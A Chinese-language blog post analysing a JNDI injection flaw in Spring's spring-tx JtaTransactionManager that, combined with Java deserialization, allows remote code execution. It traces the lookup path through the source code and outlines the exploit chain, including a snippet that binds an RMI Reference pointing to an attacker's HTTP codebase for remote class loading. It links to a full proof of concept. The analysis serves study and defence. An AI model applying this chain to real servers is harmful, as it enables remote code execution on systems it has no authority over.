这篇文章上次修改于 936 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
本文主要介绍Spring框架中Spring-tx.jar的JNDI注入问题,其与反序列化漏洞结合后将导致RCE
Spring框架 spring-tx.jar JNDI注入与反序列化漏洞分析
文章目录:
0x01 相关概念
JNDI(Java Naming and Directory Interface), 全称为 Java命名和目录接口,主要包含两个部分: 命名服务 和 目录服务。
通俗来讲,JNDI就是一组API接口,它为开发人员提供了 查找和访问 各种命名服务和目录服务的通用,统一的接口,提供了绑定和查找的方法:
void bind(String name, Object object) //将名称绑定到对象
Object lookup(String name) //用名称检索对象
JNDI支持的服务主要有:DNS,LDAP,CORBA 和 RMI 等,有如下程序包:
javax.naming:命名操作;
javax.naming.directory:目录操作;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现。
- 命名服务
命名服务对某一资源进行命名,然后通过名称来定位唯一的资源。它其实就是一个值和另一个值的映射。
比如DNS服务,学号和姓名等,都可以解释为一种命名服务
- 目录服务
目录服务是命名服务的自然扩展,区别在于 目录服务不仅有名称,还可以有属性,可以提供基于属性的检索等。
- RMI
RMI(Remote Method Invocation) 远程方法调用,Java特有的分布对象技术,可以让客户端Java虚拟机像调用本地对象一样,来调用服务端Java虚拟机中对象的方法。
- JNDI Naming Reference
对象可以通过绑定Reference,来存储在一些命名服务和目录服务下,比如RMI,LDAP等。
0x02 漏洞原理
JNDI提供很多种服务类型,当服务类型为RMI协议时,若lookup()的对象类型为Reference或其子类时,就会导致远程代码执行。
Reference类有两个较重要的属性:
className: 远程调用引用的类名
codebase url:远程调用的对象位置,支持Http协议
远程加载类时,默认会先在RMI服务器的ClassPath查找,如果不存在则会去加载给定的url,均未找到时就会返回失败。
此外,应用通过lookup调用指定codebase url后,会自动执行该类的构造函数。
所以,我们可以在注册RMI服务时,指定为evil类的地址,来进行JNDI注入,进而导致远程代码执行。
我们来了解下lookup()执行过程,Java.Naming.InitialContext 416行:
public Object lookup(String name) throws NamingException
{
return getURLOrDefaultInitCtx(name).lookup(name);
}
继续跟进getURLOrDefaultInitCtx()
protected Context getURLOrDefaultInitCtx(Name name) throws NamingException
{
if (NamingManager.hasInitialContextFactoryBuilder())
{
return getDefaultInitCtx();
}
if (name.size() > 0)
{
String first = name.get(0);
String scheme = getURLScheme(first);
if (scheme != null)
{
Context ctx = NamingManager.getURLContext(scheme, myProps);
if (ctx != null)
{
return ctx;
}
}
}
return getDefaultInitCtx();
}
这说明,即使Context.PROVIDER_URL被设置了初值,但只要lookup参数可控,我们就可以重写url,指向我们的服务器,例如:
// Create the initial context
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://secure-server:1099");
Context ctx = new InitialContext(env);
// Look up in the local RMI registry
Object local_obj = ctx.lookup(<attacker controlled>);
0x03 Spring-tx 反序列化
Spring-tx 是一个事务管理相关的包,漏洞存在于该类:
org.springframework.transaction.jta.JtaTransactionManager
既然是反序列化触发的JNDI注入,我们先查看下其readObject()方法
来到该类的1198行:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException
{
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();
// Create template for client-side JNDI lookup.
this.jndiTemplate = new JndiTemplate();
// Perform a fresh lookup for JTA handles.
initUserTransactionAndTransactionManager();
initTransactionSynchronizationRegistry();
}
跟进initUserTransactionAndTransactionManager()方法
protected void initUserTransactionAndTransactionManager() throws TransactionSystemException
{
if (this.userTransaction == null)
{
// Fetch JTA UserTransaction from JNDI, if necessary.
if (StringUtils.hasLength(this.userTransactionName)) {
this.userTransaction = lookupUserTransaction(this.userTransactionName);
this.userTransactionObtainedFromJndi = true;
}
else {
this.userTransaction = retrieveUserTransaction();
if (this.userTransaction == null && this.autodetectUserTransaction) {
// Autodetect UserTransaction at its default JNDI location.
this.userTransaction = findUserTransaction();
}
}
}
lookupUserTransaction(x)功能为 使用JNDI方式,来查找this.userTransactionName对应的事务
我们可以用setUserTransactionName()函数来设置该值。
继续跟进lookupUserTransaction()函数:
protected UserTransaction lookupUserTransaction(String userTransactionName)
throws TransactionSystemException {
try {
if (logger.isDebugEnabled()) {
logger.debug("Retrieving JTA UserTransaction from JNDI location [" + userTransactionName + "]");
}
return getJndiTemplate().lookup(userTransactionName, UserTransaction.class);
}
catch (NamingException ex) {
throw new TransactionSystemException(
"JTA UserTransaction is not available at JNDI location [" + userTransactionName + "]", ex);
}
}
它调用了getJndiTemplate().lookup()方法,继续跟进
public Object lookup(final String name) throws NamingException
{
if (logger.isDebugEnabled()) {
logger.debug("Looking up JNDI object with name [" + name + "]");
}
return execute(new JndiCallback<Object>() {
@Override
public Object doInContext(Context ctx) throws NamingException {
Object located = ctx.lookup(name);
if (located == null) {
throw new NameNotFoundException(
"JNDI object with [" + name + "] not found: JNDI implementation returned null");
}
return located;
}
});
}
最终调用了JndiTemplate的lookup方法,从而导致了漏洞的产生。
我们动态分析一下:
1.在Server.java的readObject下断点
2.在org.springframework.transaction.jta.JtaTransactionManager的readObject()里的initUserTransactionAndTransactionManager()处下断点。
跟进过程就不详说了,和我们前面分析的一模一样。
最终成功执行,调用栈如图:
0x04 利用步骤
利用的思路如下:(图来自seebug)
我们需要分别构造Poc.java,Client.java,Server.java
1.Poc.java
该类是服务端将要反序列化的类,也就是我们的evil类,里面包含我们要执行的代码。
要注意的是,将该类编译之后,class文件要放在HTTP的根目录下,否则服务器将无法访问,如下:
\workplace\项目名\target\classes\
2.Server.java
服务端开启一个Socket,等待接收数据并反序列化即可
3.Client.java
客户端首先需要开启一个HTTP服务,来输出Poc类的字节码
接着,开启 RMI Registry 以供服务端访问,并且用ReferenceWrapper进行包装(否则无法绑定),最后再与和前面的Poc类绑定。
......略
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(RMIPort);
String factoryLocation = "http://" + localAddress + ":" + localPort + "/";
System.out.println("Factory location: " + factoryLocation);
Reference reference = new javax.naming.Reference("Poc","Poc", factoryLocation);
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("reference", referenceWrapper);
String JNDIAddress = "rmi://127.0.0.1:" + RMIPort + "/reference";
System.out.println("JNDI Address: " + JNDIAddress);
......
详细POC见参考3
0x05 漏洞局限
要利用该漏洞,需要满足如下条件:
1.存在可以反序列化对象的接口
2.目标对象有外网访问权限,去远程下载我们的恶意类
3.目标对象的ClassPath中存在 有缺陷类的jar包 Sping-tx-xxx.jar
其中第3个条件较为苛刻,因为Spring-tx-xxx不是中间件的默认组件,所以该漏洞比较鸡肋。
详细解释见参考1
0x06 参考
JNDI注入--反序列化:
- 1 https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/ Spring反序列化RCE分析
- 2 https://paper.seebug.org/417/ JNDI注入的一些疑问
- 3 https://lightless.me/archives/java-unserialization-spring-tx.html 感谢该作者,本文参考了其POC
- 4 https://github.com/lightless233/Java-Unserialization-Study 本文POC
- 5 http://www.freebuf.com/vuls/115849.html JNDI注入
- 6 https://github.com/zerothoughts/spring-jndi POC
- 7 http://www.vuln.cn/6291 RMI机制
基本概念:
没有评论